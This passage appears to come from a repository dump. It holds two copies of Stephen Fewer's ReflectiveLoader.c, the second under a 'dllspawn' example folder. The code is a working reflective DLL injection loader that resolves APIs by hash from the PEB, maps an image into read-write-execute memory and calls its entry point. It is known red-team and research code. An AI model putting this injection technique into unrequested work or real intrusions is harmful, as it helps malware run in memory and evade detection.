uiNameOrdinals += sizeof(WORD); 248 | } 249 | } 250 | 251 | // we stop searching when we have found everything we need. 252 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 253 | break; 254 | 255 | // get the next entry 256 | uiValueA = DEREF( uiValueA ); 257 | } 258 | 259 | // STEP 2: load our image into a new permanent location in memory... 260 | 261 | // get the VA of the NT Header for the PE to be loaded 262 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 263 | 264 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 265 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 266 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 267 | 268 | // we must now copy over the headers 269 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 270 | uiValueB = uiLibraryAddress; 271 | uiValueC = uiBaseAddress; 272 | 273 | while( uiValueA-- ) 274 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 275 | 276 | // STEP 3: load in all of our sections... 277 | 278 | // uiValueA = the VA of the first section 279 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 280 | 281 | // itterate through all sections, loading them into memory. 282 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 283 | while( uiValueE-- ) 284 | { 285 | // uiValueB is the VA for this section 286 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 287 | 288 | // uiValueC if the VA for this sections data 289 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 290 | 291 | // copy the section over 292 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 293 | 294 | while( uiValueD-- ) 295 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 296 | 297 | // get the VA of the next section 298 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 299 | } 300 | 301 | // STEP 4: process our images import table... 302 | 303 | // uiValueB = the address of the import directory 304 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 305 | 306 | // we assume their is an import table to process 307 | // uiValueC is the first entry in the import table 308 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 309 | 310 | // itterate through all imports 311 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 312 | { 313 | // use LoadLibraryA to load the imported module into memory 314 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 315 | 316 | // uiValueD = VA of the OriginalFirstThunk 317 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 318 | 319 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 320 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 321 | 322 | // itterate through all imported functions, importing by ordinal if no name present 323 | while( DEREF(uiValueA) ) 324 | { 325 | // sanity check uiValueD as some compilers only import by FirstThunk 326 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 327 | { 328 | // get the VA of the modules NT Header 329 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 330 | 331 | // uiNameArray = the address of the modules export directory entry 332 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 333 | 334 | // get the VA of the export directory 335 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 336 | 337 | // get the VA for the array of addresses 338 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 339 | 340 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 341 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 342 | 343 | // patch in the address for this imported function 344 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 345 | } 346 | else 347 | { 348 | // get the VA of this functions import by name struct 349 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 350 | 351 | // use GetProcAddress and patch in the address for this imported function 352 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 353 | } 354 | // get the next imported function 355 | uiValueA += sizeof( ULONG_PTR ); 356 | if( uiValueD ) 357 | uiValueD += sizeof( ULONG_PTR ); 358 | } 359 | 360 | // get the next import 361 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 362 | } 363 | 364 | // STEP 5: process all of our images relocations... 365 | 366 | // calculate the base address delta and perform relocations (even if we load at desired image base) 367 | uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; 368 | 369 | // uiValueB = the address of the relocation directory 370 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; 371 | 372 | // check if their are any relocations present 373 | if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) 374 | { 375 | // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) 376 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 377 | 378 | // and we itterate through all entries... 379 | while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) 380 | { 381 | // uiValueA = the VA for this relocation block 382 | uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); 383 | 384 | // uiValueB = number of entries in this relocation block 385 | uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); 386 | 387 | // uiValueD is now the first entry in the current relocation block 388 | uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); 389 | 390 | // we itterate through all the entries in the current block... 391 | while( uiValueB-- ) 392 | { 393 | // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. 394 | // we dont use a switch statement to avoid the compiler building a jump table 395 | // which would not be very position independent! 396 | if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) 397 | *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; 398 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) 399 | *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; 400 | #ifdef WIN_ARM 401 | // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. 402 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) 403 | { 404 | register DWORD dwInstruction; 405 | register DWORD dwAddress; 406 | register WORD wImm; 407 | // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) 408 | dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); 409 | // flip the words to get the instruction as expected 410 | dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 411 | // sanity chack we are processing a MOV instruction... 412 | if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) 413 | { 414 | // pull out the encoded 16bit value (the high portion of the address-to-relocate) 415 | wImm = (WORD)( dwInstruction & 0x000000FF); 416 | wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); 417 | wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); 418 | wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); 419 | // apply the relocation to the target address 420 | dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; 421 | // now create a new instruction with the same opcode and register param. 422 | dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); 423 | // patch in the relocated address... 424 | dwInstruction |= (DWORD)(dwAddress & 0x00FF); 425 | dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; 426 | dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; 427 | dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; 428 | // now flip the instructions words and patch back into the code... 429 | *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); 430 | } 431 | } 432 | #endif 433 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) 434 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); 435 | else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) 436 | *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); 437 | 438 | // get the next entry in the current relocation block 439 | uiValueD += sizeof( IMAGE_RELOC ); 440 | } 441 | 442 | // get the next entry in the relocation directory 443 | uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; 444 | } 445 | } 446 | 447 | // STEP 6: call our images entry point 448 | 449 | // uiValueA = the VA of our newly loaded DLL/EXE's entry point 450 | uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); 451 | 452 | // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. 453 | pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); 454 | 455 | // call our respective entry point, fudging our hInstance value 456 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 457 | // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) 458 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); 459 | #else 460 | // if we are injecting an DLL via a stub we call DllMain with no parameter 461 | ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); 462 | #endif 463 | 464 | // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. 465 | return uiValueA; 466 | } 467 | //===============================================================================================// 468 | #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN 469 | 470 | BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) 471 | { 472 | BOOL bReturnValue = TRUE; 473 | switch( dwReason ) 474 | { 475 | case DLL_QUERY_HMODULE: 476 | if( lpReserved != NULL ) 477 | *(HMODULE *)lpReserved = hAppInstance; 478 | break; 479 | case DLL_PROCESS_ATTACH: 480 | hAppInstance = hinstDLL; 481 | break; 482 | case DLL_PROCESS_DETACH: 483 | case DLL_THREAD_ATTACH: 484 | case DLL_THREAD_DETACH: 485 | break; 486 | } 487 | return bReturnValue; 488 | } 489 | 490 | #endif 491 | //===============================================================================================// 492 | 493 | //===============================================================================================// 494 | #pragma intrinsic( _ReturnAddress ) 495 | // This function can not be inlined by the compiler or we will not get the address we expect. Ideally 496 | // this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of 497 | // RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics 498 | // available (and no inline asm available under x64). 499 | __declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } 500 | //===============================================================================================// -------------------------------------------------------------------------------- /dllspawn/example_dll/ReflectiveLoader.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "ReflectiveLoader.h" 29 | //===============================================================================================// 30 | // Our loader will set this to a pseudo correct HINSTANCE/HMODULE value 31 | HINSTANCE hAppInstance = NULL; 32 | 33 | // Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, 34 | // otherwise the DllMain at the end of this file will be used. 35 | 36 | // Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, 37 | // otherwise it is assumed you are calling the ReflectiveLoader via a stub. 38 | 39 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ); 40 | __declspec(noinline) ULONG_PTR caller( VOID ); 41 | 42 | // This is our position independent reflective DLL loader/injector 43 | #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 44 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) 45 | #else 46 | DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) 47 | #endif 48 | { 49 | // the functions we need 50 | LOADLIBRARYA pLoadLibraryA = NULL; 51 | GETPROCADDRESS pGetProcAddress = NULL; 52 | VIRTUALALLOC pVirtualAlloc = NULL; 53 | NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; 54 | 55 | USHORT usCounter; 56 | 57 | // the initial location of this image in memory 58 | ULONG_PTR uiLibraryAddress; 59 | // the kernels base address and later this images newly loaded base address 60 | ULONG_PTR uiBaseAddress; 61 | 62 | // variables for processing the kernels export table 63 | ULONG_PTR uiAddressArray; 64 | ULONG_PTR uiNameArray; 65 | ULONG_PTR uiExportDir; 66 | ULONG_PTR uiNameOrdinals; 67 | DWORD dwHashValue; 68 | 69 | // variables for loading this image 70 | ULONG_PTR uiHeaderValue; 71 | ULONG_PTR uiValueA; 72 | ULONG_PTR uiValueB; 73 | ULONG_PTR uiValueC; 74 | ULONG_PTR uiValueD; 75 | ULONG_PTR uiValueE; 76 | 77 | // STEP 0: calculate our images current base address 78 | 79 | // we will start searching backwards from our callers return address. 80 | uiLibraryAddress = caller(); 81 | 82 | // loop through memory backwards searching for our images base address 83 | // we dont need SEH style search as we shouldnt generate any access violations with this 84 | while( TRUE ) 85 | { 86 | if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) 87 | { 88 | uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 89 | // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), 90 | // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. 91 | if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) 92 | { 93 | uiHeaderValue += uiLibraryAddress; 94 | // break if we have found a valid MZ/PE header 95 | if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) 96 | break; 97 | } 98 | } 99 | uiLibraryAddress--; 100 | } 101 | 102 | // STEP 1: process the kernels exports for the functions our loader needs... 103 | 104 | // get the Process Enviroment Block 105 | #ifdef WIN_X64 106 | uiBaseAddress = __readgsqword( 0x60 ); 107 | #else 108 | #ifdef WIN_X86 109 | uiBaseAddress = __readfsdword( 0x30 ); 110 | #else WIN_ARM 111 | uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); 112 | #endif 113 | #endif 114 | 115 | // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx 116 | uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; 117 | 118 | // get the first entry of the InMemoryOrder module list 119 | uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; 120 | while( uiValueA ) 121 | { 122 | // get pointer to current modules name (unicode string) 123 | uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; 124 | // set bCounter to the length for the loop 125 | usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; 126 | // clear uiValueC which will store the hash of the module name 127 | uiValueC = 0; 128 | 129 | // compute the hash of the module name... 130 | do 131 | { 132 | uiValueC = ror( (DWORD)uiValueC ); 133 | // normalize to uppercase if the madule name is in lowercase 134 | if( *((BYTE *)uiValueB) >= 'a' ) 135 | uiValueC += *((BYTE *)uiValueB) - 0x20; 136 | else 137 | uiValueC += *((BYTE *)uiValueB); 138 | uiValueB++; 139 | } while( --usCounter ); 140 | 141 | // compare the hash with that of kernel32.dll 142 | if( (DWORD)uiValueC == KERNEL32DLL_HASH ) 143 | { 144 | // get this modules base address 145 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 146 | 147 | // get the VA of the modules NT Header 148 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 149 | 150 | // uiNameArray = the address of the modules export directory entry 151 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 152 | 153 | // get the VA of the export directory 154 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 155 | 156 | // get the VA for the array of name pointers 157 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 158 | 159 | // get the VA for the array of name ordinals 160 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 161 | 162 | usCounter = 3; 163 | 164 | // loop while we still have imports to find 165 | while( usCounter > 0 ) 166 | { 167 | // compute the hash values for this function name 168 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 169 | 170 | // if we have found a function we want we get its virtual address 171 | if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) 172 | { 173 | // get the VA for the array of addresses 174 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 175 | 176 | // use this functions name ordinal as an index into the array of name pointers 177 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 178 | 179 | // store this functions VA 180 | if( dwHashValue == LOADLIBRARYA_HASH ) 181 | pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 182 | else if( dwHashValue == GETPROCADDRESS_HASH ) 183 | pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 184 | else if( dwHashValue == VIRTUALALLOC_HASH ) 185 | pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 186 | 187 | // decrement our counter 188 | usCounter--; 189 | } 190 | 191 | // get the next exported function name 192 | uiNameArray += sizeof(DWORD); 193 | 194 | // get the next exported function name ordinal 195 | uiNameOrdinals += sizeof(WORD); 196 | } 197 | } 198 | else if( (DWORD)uiValueC == NTDLLDLL_HASH ) 199 | { 200 | // get this modules base address 201 | uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; 202 | 203 | // get the VA of the modules NT Header 204 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 205 | 206 | // uiNameArray = the address of the modules export directory entry 207 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 208 | 209 | // get the VA of the export directory 210 | uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 211 | 212 | // get the VA for the array of name pointers 213 | uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); 214 | 215 | // get the VA for the array of name ordinals 216 | uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); 217 | 218 | usCounter = 1; 219 | 220 | // loop while we still have imports to find 221 | while( usCounter > 0 ) 222 | { 223 | // compute the hash values for this function name 224 | dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); 225 | 226 | // if we have found a function we want we get its virtual address 227 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 228 | { 229 | // get the VA for the array of addresses 230 | uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 231 | 232 | // use this functions name ordinal as an index into the array of name pointers 233 | uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); 234 | 235 | // store this functions VA 236 | if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) 237 | pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); 238 | 239 | // decrement our counter 240 | usCounter--; 241 | } 242 | 243 | // get the next exported function name 244 | uiNameArray += sizeof(DWORD); 245 | 246 | // get the next exported function name ordinal 247 | uiNameOrdinals += sizeof(WORD); 248 | } 249 | } 250 | 251 | // we stop searching when we have found everything we need. 252 | if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) 253 | break; 254 | 255 | // get the next entry 256 | uiValueA = DEREF( uiValueA ); 257 | } 258 | 259 | // STEP 2: load our image into a new permanent location in memory... 260 | 261 | // get the VA of the NT Header for the PE to be loaded 262 | uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 263 | 264 | // allocate all the memory for the DLL to be loaded into. we can load at any address because we will 265 | // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. 266 | uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); 267 | 268 | // we must now copy over the headers 269 | uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; 270 | uiValueB = uiLibraryAddress; 271 | uiValueC = uiBaseAddress; 272 | 273 | while( uiValueA-- ) 274 | *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; 275 | 276 | // STEP 3: load in all of our sections... 277 | 278 | // uiValueA = the VA of the first section 279 | uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); 280 | 281 | // itterate through all sections, loading them into memory. 282 | uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; 283 | while( uiValueE-- ) 284 | { 285 | // uiValueB is the VA for this section 286 | uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); 287 | 288 | // uiValueC if the VA for this sections data 289 | uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); 290 | 291 | // copy the section over 292 | uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; 293 | 294 | while( uiValueD-- ) 295 | *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; 296 | 297 | // get the VA of the next section 298 | uiValueA += sizeof( IMAGE_SECTION_HEADER ); 299 | } 300 | 301 | // STEP 4: process our images import table... 302 | 303 | // uiValueB = the address of the import directory 304 | uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; 305 | 306 | // we assume their is an import table to process 307 | // uiValueC is the first entry in the import table 308 | uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); 309 | 310 | // itterate through all imports 311 | while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) 312 | { 313 | // use LoadLibraryA to load the imported module into memory 314 | uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); 315 | 316 | // uiValueD = VA of the OriginalFirstThunk 317 | uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); 318 | 319 | // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) 320 | uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); 321 | 322 | // itterate through all imported functions, importing by ordinal if no name present 323 | while( DEREF(uiValueA) ) 324 | { 325 | // sanity check uiValueD as some compilers only import by FirstThunk 326 | if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) 327 | { 328 | // get the VA of the modules NT Header 329 | uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; 330 | 331 | // uiNameArray = the address of the modules export directory entry 332 | uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; 333 | 334 | // get the VA of the export directory 335 | uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); 336 | 337 | // get the VA for the array of addresses 338 | uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); 339 | 340 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 341 | uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); 342 | 343 | // patch in the address for this imported function 344 | DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); 345 | } 346 | else 347 | { 348 | // get the VA of this functions import by name struct 349 | uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); 350 | 351 | // use GetProcAddress and patch in the address for this imported function 352 | DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); 353 | } 354 | // get the next imported function 355 | uiValueA += sizeof( ULONG_PTR ); 356 | if( uiValueD ) 357 | uiValueD += sizeof( ULONG_PTR ); 358 | } 359 | 360 | // get the next import 361 | uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); 362 | } 363 